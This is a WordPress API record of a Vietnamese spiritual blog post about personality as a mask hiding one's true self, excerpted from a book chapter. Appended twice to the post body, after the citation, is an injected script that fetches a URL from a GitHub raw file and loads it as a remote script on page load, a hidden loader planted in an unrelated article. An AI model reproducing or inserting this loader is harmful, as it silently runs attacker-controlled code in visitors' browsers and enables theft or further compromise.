{"id":3833,"date":"2023-11-19T18:12:09","date_gmt":"2023-11-19T11:12:09","guid":{"rendered":"https:\/\/reikivietnam.org\/wordpress\/?p=3833"},"modified":"2024-12-21T00:46:04","modified_gmt":"2024-12-20T17:46:04","slug":"nhan-cach","status":"publish","type":"post","link":"https:\/\/reikivietnam.org\/?p=3833","title":{"rendered":"Nh\u00e2n c\u00e1ch"},"content":{"rendered":"<p>~<\/p>\n<p>\u0110i\u1ec1u c\u01a1 b\u1ea3n nh\u1ea5t c\u1ea7n \u0111\u01b0\u1ee3c hi\u1ec3u l\u00e0 \u1edf ch\u1ed7 b\u1ea1n kh\u00f4ng th\u1ec3 hi\u1ec3u \u0111\u01b0\u1ee3c b\u1ea3n t\u00ednh ri\u00eang c\u1ee7a b\u1ea1n, tim ri\u00eang c\u1ee7a b\u1ea1n, con ng\u01b0\u1eddi ri\u00eang c\u1ee7a b\u1ea1n, v\u00ec nh\u00e2n c\u00e1ch c\u1ee7a b\u1ea1n, v\u00ec th\u1ef1c th\u1ec3 gi\u1ea3 m\u00e0 b\u1ea1n \u0111\u00e3 t\u1ea1o ra quanh b\u1ea1n. Ch\u00fang ta s\u1ed1ng m\u00e0 b\u1ecb nh\u1ed1t trong nh\u00e2n c\u00e1ch. Nh\u00e2n c\u00e1ch l\u00e0 gi\u1ea3. Ch\u00fang \u0111\u01a1n gi\u1ea3n l\u00e0 c\u00e1c m\u1eb7t n\u1ea1, m\u1ebd ngo\u00e0i \u0111\u1ec3 tr\u01b0ng ra cho ng\u01b0\u1eddi kh\u00e1c. Nh\u01b0ng th\u1ef1c h\u00e0nh n\u00e0y tr\u1edf n\u00ean s\u00e2u s\u1eafc t\u1edbi m\u1ee9c b\u1ea1n qu\u00ean m\u1ea5t m\u1eb7t nguy\u00ean thu\u1ef7 c\u1ee7a b\u1ea1n ho\u00e0n to\u00e0n. Tr\u01b0ng ra c\u00e1c m\u1eb7t gi\u1ea3 cho ng\u01b0\u1eddi kh\u00e1c, d\u1ea7n d\u1ea7n b\u1ea1n b\u1ecb \u0111\u1ed3ng nh\u1ea5t v\u1edbi ch\u00fang v\u00e0 b\u1ea1n b\u1eaft \u0111\u1ea7u ngh\u0129 r\u1eb1ng \u0111\u00e2y l\u00e0 m\u1eb7t b\u1ea1n. Th\u1ebf th\u00ec m\u1eb7t nguy\u00ean thu\u1ef7 c\u1ee7a b\u1ea1n, m\u1eb7t th\u1ef1c c\u1ee7a b\u1ea1n, v\u1eabn c\u00f2n b\u1ecb \u1ea9n k\u00edn.<\/p>\n<p>B\u1ea5t k\u00ec c\u00e1i g\u00ec b\u1ea1n l\u00e0m, b\u1ea5t k\u00ec c\u00e1ch n\u00e0o b\u1ea1n di\u1ec5n, b\u1ea5t k\u00ec c\u00e1i g\u00ec b\u1ea1n n\u00f3i, nh\u1edb k\u0129 li\u1ec7u n\u00f3 t\u1edbi t\u1eeb tim c\u1ee7a b\u1ea1n hay t\u1eeb nh\u00e2n c\u00e1ch c\u1ee7a b\u1ea1n. T\u1ea1o ra ph\u00e2n bi\u1ec7t r\u00f5 r\u00e0ng \u0111i. \u0110i\u1ec1u \u0111\u00f3 s\u1ebd l\u00e0 gi\u00fap \u0111\u1ee1 l\u1edbn cho b\u1ea1n trong t\u00ecm ki\u1ebfm b\u00ean trong.<\/p>\n<p>Khi b\u1ea1n n\u00f3i v\u1edbi ai \u0111\u00f3, &#8220;Anh y\u00eau em,&#8221; nh\u1eefng l\u1eddi n\u00e0y t\u1eeb \u0111\u00e2u t\u1edbi? T\u1eeb \u0111\u00e2u? Ngu\u1ed3n g\u1ed1c c\u1ee7a ch\u00fang l\u00e0 g\u00ec? Ch\u00fang c\u00f3 t\u1edbi t\u1eeb tim b\u1ea1n kh\u00f4ng? Th\u1ef1c t\u1ea1i, tim b\u1ea1n c\u00f3 \u0111\u01b0\u1ee3c r\u00f3t \u0111\u1ea7y b\u1eb1ng y\u00eau kh\u00f4ng? Hay ch\u00fang ch\u1ec9 t\u1edbi t\u1eeb nh\u00e2n c\u00e1ch c\u1ee7a b\u1ea1n, ch\u1ec9 t\u1eeb m\u1eb7t gi\u1ea3 c\u1ee7a b\u1ea1n? B\u1ea1n c\u00f3 n\u00f3i ch\u00fang h\u1ec7t nh\u01b0 c\u00e1ch th\u1ee9c c\u1ee7a t\u1eadp qu\u00e1n, h\u00ecnh th\u1ee9c, x\u00e3 giao, hay b\u1ea1n \u0111ang n\u00f3i ch\u00fang nh\u01b0 ph\u01b0\u01a1ng ti\u1ec7n cho c\u00e1i g\u00ec \u0111\u00f3 kh\u00e1c?<\/p>\n<p>B\u1ea1n c\u00f3 th\u1ec3 ham mu\u1ed1n th\u00e2n th\u1ec3 c\u1ee7a ai \u0111\u00f3, b\u1ea1n c\u00f3 th\u1ec3 ham mu\u1ed1n d\u1ee5c v\u1edbi ai \u0111\u00f3, nh\u01b0ng b\u1ea1n n\u00f3i, &#8220;Anh y\u00eau em.&#8221; Vi\u1ec7c n\u00f3i n\u00e0y ch\u1ec9 l\u00e0 l\u1eeba d\u1ed1i. T\u1ed1t h\u01a1n c\u1ea3 gi\u00e1 nh\u01b0 b\u1ea1n n\u00f3i, &#8220;Anh mu\u1ed1n c\u00f3 d\u1ee5c v\u1edbi em, nh\u01b0ng kh\u00f4ng c\u00f3 y\u00eau \u1edf \u0111\u00f3. Th\u00e2n th\u1ec3 em h\u1ea5p d\u1eabn anh, cu\u1ed1n h\u00fat anh, nh\u01b0ng kh\u00f4ng c\u00f3 y\u00eau \u0111\u00e2u. N\u00f3 c\u00f3 th\u1ec3 ph\u00e1t tri\u1ec3n, nh\u01b0ng ngay b\u00e2y gi\u1edd kh\u00f4ng c\u00f3 y\u00eau. Anh ch\u1ec9 quan t\u00e2m t\u1edbi th\u00e2n th\u1ec3 em.&#8221;<\/p>\n<p>Nh\u01b0ng n\u1ebfu ai \u0111\u00f3 n\u00f3i r\u1eb1ng ch\u1ec9 th\u00e2n th\u1ec3 b\u1ea1n h\u1ea5p d\u1eabn anh ta, b\u1ea1n s\u1ebd kh\u00f4ng \u1edf trong y\u00eau v\u1edbi ng\u01b0\u1eddi n\u00e0y. B\u1ea1n s\u1ebd tr\u1ed1n lu\u00f4n! B\u1ea1n s\u1ebd n\u00f3i, &#8220;Anh \u0111ang n\u00f3i \u0111i\u1ec1u v\u00f4 ngh\u0129a g\u00ec v\u1eady?&#8221; M\u1eb7t gi\u1ea3 ph\u1ea3i c\u00f3 \u0111\u00f3. Ch\u1ec9 th\u1ebf th\u00ec th\u00e2n th\u1ec3 m\u1edbi \u0111\u01b0\u1ee3c cho hay nh\u1eadn.<\/p>\n<p>Cho n\u00ean b\u1ea1n li\u00ean t\u1ee5c r\u00e8n luy\u1ec7n nh\u00e2n c\u00e1ch c\u1ee7a b\u1ea1n. Khi b\u1ea1n \u0111ang c\u1ea3m th\u1ea5y \u0111au b\u00ean trong, bu\u1ed3n, ngay c\u1ea3 th\u1ebf b\u1ea1n v\u1eabn li\u00ean t\u1ee5c m\u1ec9m c\u01b0\u1eddi. Xem x\u00e9t li\u1ec7u n\u1ee5 c\u01b0\u1eddi c\u1ee7a b\u1ea1n c\u00f3 ch\u1ec9 l\u00e0 n\u1ee5 c\u01b0\u1eddi t\u00f4 v\u1ebd kh\u00f4ng, ch\u1ec9 tr\u00ean m\u00f4i, n\u1ed7 l\u1ef1c c\u1ee7a m\u00f4i, hay li\u1ec7u n\u00f3 t\u1edbi t\u1eeb s\u00e2u b\u00ean d\u01b0\u1edbi v\u00e0 lan to\u1ea3 l\u00ean m\u00f4i. C\u1ed9i ngu\u1ed3n c\u00f3 \u0111\u01b0\u1ee3c b\u1eaft r\u1ec5 \u1edf \u0111\u00e2u \u0111\u00f3 s\u00e2u s\u1eafc, hay kh\u00f4ng c\u00f3 c\u1ed9i ngu\u1ed3n, n\u00f3 ch\u1ec9 l\u00e0 n\u1ee5 c\u01b0\u1eddi t\u00f4 v\u1ebd? Khi b\u1ea1n m\u1ec9m c\u01b0\u1eddi, quan s\u00e1t n\u00f3 v\u00e0 b\u1ea1n s\u1ebd \u0111i t\u1edbi bi\u1ebft khi n\u00e0o n\u1ee5 c\u01b0\u1eddi l\u00e0 gi\u1ea3 v\u00e0 khi n\u00e0o n\u1ee5 c\u01b0\u1eddi l\u00e0 th\u1ef1c.<\/p>\n<p>Khi ai \u0111\u00f3 bu\u1ed3n, hay ai \u0111\u00f3 \u0111ang kh\u1ed5, hay ai \u0111\u00f3 m\u1edbi m\u1ea5t ng\u01b0\u1eddi b\u1ea1n, ng\u01b0\u1eddi y\u00eau, ch\u1ed3ng, v\u1ee3, b\u1ea1n \u0111i t\u1edbi ng\u01b0\u1eddi \u0111\u00f3. M\u1eb7t b\u1ea1n c\u00f3 v\u1ebb bu\u1ed3n v\u00e0 th\u01b0\u01a1ng c\u1ea3m. Nh\u1edb v\u00e0 xem x\u00e9t s\u00e2u b\u00ean trong, li\u1ec7u n\u1ed7i bu\u1ed3n n\u00e0y l\u00e0 th\u1ef1c hay li\u1ec7u b\u1ea1n ch\u1ec9 th\u1ec3 hi\u1ec7n n\u00f3 v\u00e0 s\u00e2u b\u00ean d\u01b0\u1edbi b\u1ea1n \u0111\u01a1n gi\u1ea3n ch\u00e1n, s\u00e2u b\u00ean d\u01b0\u1edbi b\u1ea1n \u0111ang c\u1ed1 h\u00ecnh dung ra c\u00e1ch ra v\u1ec1, s\u00e2u b\u00ean d\u01b0\u1edbi b\u1ea1n \u0111ang ngh\u0129 v\u1ec1 c\u00e1c th\u1ee9 kh\u00e1c, kh\u00f4ng quan t\u00e2m ch\u00fat n\u00e0o t\u1edbi ng\u01b0\u1eddi n\u00e0y: c\u01a1 c\u1ef1c c\u1ee7a ng\u01b0\u1eddi n\u00e0y, kh\u1ed5 c\u1ee7a ng\u01b0\u1eddi n\u00e0y. Li\u00ean t\u1ee5c xem x\u00e9t \u0111i\u1ec1u n\u00e0y v\u00e0 b\u1ea1n s\u1ebd \u0111i t\u1edbi bi\u1ebft hai t\u1ea7ng kh\u00e1c nhau b\u00ean trong b\u1ea1n. T\u1ea7ng gi\u1ea3 l\u00e0 nh\u00e2n c\u00e1ch.<\/p>\n<p>T\u1eeb &#8216;nh\u00e2n c\u00e1ch-personality&#8217; l\u00e0 r\u1ea5t c\u00f3 \u00fd ngh\u0129a. N\u00f3 b\u1eaft ngu\u1ed3n t\u1eeb t\u1eeb Hi L\u1ea1p persona. Persona ngh\u0129a l\u00e0 &#8216;m\u1eb7t n\u1ea1&#8217;. Trong k\u1ecbch Hi L\u1ea1p c\u00e1c ngh\u1ec7 s\u0129 d\u00f9ng m\u1eb7t n\u1ea1, m\u1eb7t gi\u1ea3. Nh\u1eefng m\u1eb7t gi\u1ea3 \u0111\u00f3 \u0111\u01b0\u1ee3c g\u1ecdi l\u00e0 persona. V\u00e0 t\u1eeb \u0111\u00f3, t\u1eeb &#8216;personality&#8217; t\u1edbi. N\u00f3 l\u00e0 hay. N\u00f3 ng\u1ee5 \u00fd r\u1eb1ng b\u1ea1n \u0111ang di\u1ec5n k\u1ecbch b\u1eb1ng m\u1eb7t gi\u1ea3. N\u00f3 kh\u00f4ng ph\u1ea3i l\u00e0 b\u1ea1n. B\u1ea1n \u0111ang \u1ea9n \u0111\u1eb1ng sau m\u1eb7t gi\u1ea3, v\u00ec b\u1ea1n kh\u00f4ng th\u1ec3 \u0111\u1ec3 l\u1ed9 m\u1eb7t th\u1ef1c c\u1ee7a b\u1ea1n ra.<\/p>\n<p>Ti kh\u00f4ng n\u00f3i c\u1ea7n li\u00ean t\u1ee5c \u0111\u1ec3 l\u1ed9 m\u1eb7t th\u1eadt c\u1ee7a b\u1ea1n ra \u1edf m\u1ecdi n\u01a1i. Kh\u00f4ng c\u00f3 nhu c\u1ea7u. \u1ede \u0111\u00e2u \u0111\u00f3, m\u1eb7t n\u1ea1 l\u00e0 \u0111\u01b0\u1ee3c c\u1ea7n. Nh\u01b0ng ph\u1ea3i r\u00f5 r\u00e0ng r\u1eb1ng \u0111\u00e2y l\u00e0 m\u1eb7t n\u1ea1; \u0111\u00e2y kh\u00f4ng ph\u1ea3i l\u00e0 b\u1ea1n. B\u00ean trong, b\u1ea1n ph\u1ea3i bi\u1ebft khi n\u00e0o b\u1ea1n di\u1ec5n k\u1ecbch v\u00e0 khi n\u00e0o b\u1ea1n l\u00e0 th\u1ef1c. B\u1ea1n ph\u1ea3i kh\u00f4ng b\u1ecb l\u1eeba b\u1edfi vi\u1ec7c di\u1ec5n c\u1ee7a b\u1ea1n! B\u1ea1n ph\u1ea3i kh\u00f4ng tr\u1edf n\u00ean b\u1ecb \u0111\u1ed3ng nh\u1ea5t v\u1edbi vi\u1ec7c di\u1ec5n c\u1ee7a b\u1ea1n! T\u00f4i bi\u1ebft c\u00e1c m\u1eb7t \u0111\u00f3 l\u00e0 \u0111\u01b0\u1ee3c c\u1ea7n. B\u1eb1ng kh\u00f4ng s\u1ebd kh\u00f3 s\u1ed1ng trong x\u00e3 h\u1ed9i, r\u1ea5t kh\u00f3. C\u00e1c m\u1eb7t l\u00e0 t\u1ed1t theo ngh\u0129a n\u00e0o \u0111\u00f3. Ch\u00fang t\u1ea1o \u0111i\u1ec1u ki\u1ec7n, ch\u00fang l\u00e0m vi\u1ec7c nh\u01b0 ch\u1ea5t b\u00f4i tr\u01a1n. V\u00e0 trong x\u00e3 h\u1ed9i l\u1edbn v\u1edbi nhi\u1ec1u ng\u01b0\u1eddi th\u1ebf, b\u1ea1n kh\u00f4ng c\u1ea7n \u0111\u1ec3 l\u1ed9 th\u1ef1c t\u1ea1i c\u1ee7a b\u1ea1n \u1edf m\u1ecdi n\u01a1i.<\/p>\n<p>Ai \u0111\u00f3 g\u1eb7p b\u1ea1n bu\u1ed5i s\u00e1ng. B\u1ea1n c\u1ea3m th\u1ea5y b\u1ecb qu\u1ea5y r\u1ed1i b\u1edfi \u0111i\u1ec1u \u0111\u00f3. B\u1ea1n ngh\u0129, &#8220;Sao m\u00ecnh l\u1ea1i th\u1ea5y m\u1eb7t ng\u01b0\u1eddi n\u00e0y s\u00e1ng nay? M\u1eb7t anh ta c\u00f3 th\u1ec3 ph\u00e1 hu\u1ef7 c\u1ea3 ng\u00e0y c\u1ee7a m\u00ecnh.&#8221; Nh\u01b0ng, b\u00ean ngo\u00e0i, b\u1ea1n m\u1ec9m c\u01b0\u1eddi v\u00e0 n\u00f3i, &#8220;Ch\u00e0o anh. G\u1eb7p anh t\u00f4i m\u1eebng qu\u00e1.&#8221; B\u00ean trong, b\u1ea1n kh\u00f4ng m\u1eebng ch\u00fat n\u00e0o!<\/p>\n<p>Nh\u01b0ng \u0111i\u1ec1u n\u00e0y l\u00e0 \u0111\u01b0\u1ee3c khi c\u00f3 li\u00ean quan t\u1edbi c\u00e1ch x\u1eed s\u1ef1. S\u1ebd kh\u00f4ng t\u1ed1t m\u00e0 n\u00f3i v\u1edbi ng\u01b0\u1eddi n\u00e0y, &#8220;T\u00f4i c\u1ea3m th\u1ea5y kh\u00f4ng m\u1eebng g\u00ec c\u1ea3. Anh \u0111\u00e3 ph\u00e1 hu\u1ef7 bu\u1ed5i s\u00e1ng c\u1ee7a t\u00f4i. M\u1eb7t anh l\u00e0 nguy hi\u1ec3m. T\u00f4i s\u1ee3 r\u1eb1ng th\u1ea5y anh s\u1ebd l\u00e0m h\u1ecfng c\u1ea3 ng\u00e0y c\u1ee7a t\u00f4i.&#8221; \u0110i\u1ec1u n\u00e0y s\u1ebd kh\u00f4ng t\u1ed1t. Kh\u00f4ng c\u1ea7n thi\u1ebft. Qu\u1ea5y r\u1ed1i kh\u00f4ng c\u1ea7n thi\u1ebft cho ng\u01b0\u1eddi kia. Kh\u00f4ng c\u00f3 nhu c\u1ea7u.<\/p>\n<p>Nh\u01b0ng b\u1ea1n ph\u1ea3i bi\u1ebft c\u00e1i g\u00ec l\u00e0 m\u1eb7t n\u1ea1 v\u00e0 c\u00e1i g\u00ec l\u00e0 th\u1ef1c. B\u1ea1n ph\u1ea3i nh\u1eadn bi\u1ebft v\u1ec1 c\u00e1i g\u00ec \u0111ang di\u1ec5n ra b\u00ean trong. C\u00e1i \u1edf b\u00ean trong l\u00e0 con ng\u01b0\u1eddi th\u1ef1c c\u1ee7a b\u1ea1n v\u00e0 c\u00e1i \u0111ang di\u1ec5n ra tr\u00ean b\u1ec1 m\u1eb7t ch\u1ec9 l\u00e0 ti\u1ec7n \u00edch x\u00e3 h\u1ed9i. N\u1ebfu b\u1ea1n c\u00f3 th\u1ec3 l\u00e0m ph\u00e2n bi\u1ec7t r\u00f5 r\u00e0ng gi\u1eefa b\u1ea1n v\u00e0 nh\u00e2n c\u00e1ch c\u1ee7a b\u1ea1n, th\u1ebf th\u00ec nh\u00e2n c\u00e1ch tr\u1edf th\u00e0nh gi\u1ed1ng nh\u01b0 qu\u1ea7n \u00e1o. B\u1ea1n c\u00f3 th\u1ec3 b\u1ecf n\u00f3 v\u00e0o b\u1ea5t k\u00ec l\u00fac n\u00e0o v\u00e0 tr\u1edf th\u00e0nh tr\u1ea7n tr\u1ee5i.<\/p>\n<p>N\u1ebfu b\u1ea1n kh\u00f4ng th\u1ec3 b\u1ecf n\u00f3, \u0111i\u1ec1u \u0111\u00f3 ngh\u0129a l\u00e0 b\u1ea1n b\u1ecb g\u1eafn b\u00f3 v\u1edbi n\u00f3 t\u1edbi m\u1ee9c s\u1ef1 ph\u00e2n bi\u1ec7t kh\u00f4ng c\u00f3 \u0111\u00f3, vi\u1ec7c ph\u00e2n t\u00e1ch kh\u00f4ng c\u00f3 \u0111\u00f3; kh\u00f4ng c\u00f3 k\u1ebd h\u1edf. K\u1ebd h\u1edf \u0111\u01b0\u1ee3c c\u1ea7n \u0111\u1ec3 cho \u00edt nh\u1ea5t trong ph\u00f2ng b\u1ea1n, trong nh\u00e0 t\u1eafm c\u1ee7a b\u1ea1n, b\u1ea1n c\u00f3 th\u1ec3 c\u1edfi b\u1ecf nh\u00e2n c\u00e1ch c\u1ee7a b\u1ea1n v\u00e0 tr\u1edf th\u00e0nh th\u1ef1c. \u00cdt nh\u1ea5t trong thi\u1ec1n, b\u1ea1n c\u00f3 th\u1ec3 n\u00e9m \u0111i nh\u00e2n c\u00e1ch v\u00e0 tr\u1edf th\u00e0nh th\u1ef1c. T\u1ea1i \u0111\u00f3, n\u00f3 kh\u00f4ng \u0111\u01b0\u1ee3c c\u1ea7n t\u1edbi.<\/p>\n<p>T\u00f4i kh\u00f4ng n\u00f3i cho b\u1ea1n ph\u1ea3i \u0111i v\u00e0 di chuy\u1ec3n trong x\u00e3 h\u1ed9i v\u00e0 ph\u1ea3i \u0111\u00edch th\u1ef1c. B\u1ea1n s\u1ebd g\u1eb7p kh\u00f3 kh\u0103n. N\u1ebfu b\u1ea1n h\u00e0i l\u00f2ng l\u00e0m vi\u1ec7c \u0111\u00f3 b\u1ea1n c\u00f3 th\u1ec3 l\u00e0m n\u00f3, nh\u01b0ng t\u00f4i kh\u00f4ng n\u00f3i \u0111i\u1ec1u \u0111\u00f3; \u0111\u1eebng \u0111\u1ed5 tr\u00e1ch m\u00f3c l\u00ean t\u00f4i. X\u00e3 h\u1ed9i s\u1ebd t\u1ea1o ra phi\u1ec1n ph\u1ee9c cho b\u1ea1n. N\u00f3 kh\u00f4ng mu\u1ed1n m\u1eb7t th\u1ef1c c\u1ee7a b\u1ea1n, n\u00f3 mu\u1ed1n m\u1eb7t kh\u00f4ng th\u1ef1c c\u1ee7a b\u1ea1n.<\/p>\n<p>V\u00e0 \u0111i\u1ec1u \u0111\u00f3 l\u00e0 \u0111\u01b0\u1ee3c khi c\u00f3 li\u00ean quan t\u1edbi x\u00e3 h\u1ed9i. D\u00f9ng m\u1eb7t kh\u00f4ng th\u1ef1c khi b\u1ea1n \u0111i ra ngo\u00e0i, nh\u01b0ng khi b\u1ea1n \u0111i v\u00e0o trong, v\u1ee9t m\u1eb7t \u0111\u00f3 \u0111i ho\u00e0n to\u00e0n. \u0110\u1eebng b\u1ecb \u0111\u1ed3ng nh\u1ea5t v\u1edbi n\u00f3, \u0111\u1eebng mang n\u00f3 v\u00e0o b\u00ean trong. M\u1ed9t ng\u00e0y c\u00f3 th\u1ec3 t\u1edbi khi b\u1ea1n s\u1ebd tr\u1edf th\u00e0nh m\u1ea1nh t\u1edbi m\u1ee9c ngay c\u1ea3 trong x\u00e3 h\u1ed9i b\u1ea1n s\u1ebd \u0111i v\u1edbi m\u1eb7t th\u1ef1c, nh\u01b0ng \u0111i\u1ec1u \u0111\u00f3 tu\u1ef3 v\u00e0o b\u1ea1n. \u0110\u1ea7u ti\u00ean, nh\u00ecn v\u00e0o trong v\u00e0, \u00edt nh\u1ea5t m\u1ed9t c\u00e1ch t\u1ea1m th\u1eddi, g\u1ea1t sang b\u00ean c\u00e1c nh\u00e2n c\u00e1ch c\u1ee7a b\u1ea1n.<\/p>\n<p>Nh\u00e2n c\u00e1ch l\u00e0m vi\u1ec7c nh\u01b0 r\u00e0o ch\u1eafn v\u00e0 \u00e1nh s\u00e1ng t\u1eeb tim b\u1ea1n kh\u00f4ng th\u1ec3 t\u1edbi v\u1edbi b\u1ea1n. B\u1ecf nh\u00e2n c\u00e1ch \u0111i, cho d\u00f9 nh\u1ea5t th\u1eddi, t\u1ea1m th\u1eddi v\u00e0 \u00e1nh s\u00e1ng s\u1ebd l\u00e0m ng\u1eadp l\u1ee5t b\u1ea1n, v\u00e0 b\u1ea1n s\u1ebd \u0111i v\u00e0o trong th\u1ebf gi\u1edbi kh\u00e1c: th\u1ebf gi\u1edbi c\u1ee7a tim.<\/p>\n<p>B\u1ea1n ph\u1ea3i \u0111\u1ec3 b\u1ea3n th\u00e2n b\u1ea1n sang b\u00ean: nh\u00e2n c\u00e1ch c\u1ee7a b\u1ea1n, b\u1ea3n ng\u00e3 c\u1ee7a b\u1ea1n.<\/p>\n<p>~<\/p>\n<p>Tr\u00edch t\u1eeb &#8220;Gi\u1ea3 kim thu\u1eadt m\u1edbi&#8221;, Ch.14 \u0110\u1ec3 ch\u00f9ng m\u1ed1i quan h\u1ec7 c\u1ee7a nh\u00e2n c\u00e1ch<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>~ \u0110i\u1ec1u c\u01a1 b\u1ea3n nh\u1ea5t c\u1ea7n \u0111\u01b0\u1ee3c hi\u1ec3u l\u00e0 \u1edf ch\u1ed7 b\u1ea1n kh\u00f4ng th\u1ec3 hi\u1ec3u \u0111\u01b0\u1ee3c b\u1ea3n t\u00ednh ri\u00eang c\u1ee7a b\u1ea1n, tim ri\u00eang c\u1ee7a b\u1ea1n, &hellip; <\/p>\n","protected":false},"author":3,"featured_media":3834,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[105],"tags":[],"class_list":["post-3833","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cac-khai-niem"],"_links":{"self":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3833","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3833"}],"version-history":[{"count":4,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3833\/revisions"}],"predecessor-version":[{"id":4742,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3833\/revisions\/4742"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/media\/3834"}],"wp:attachment":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3833"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3833"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3833"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}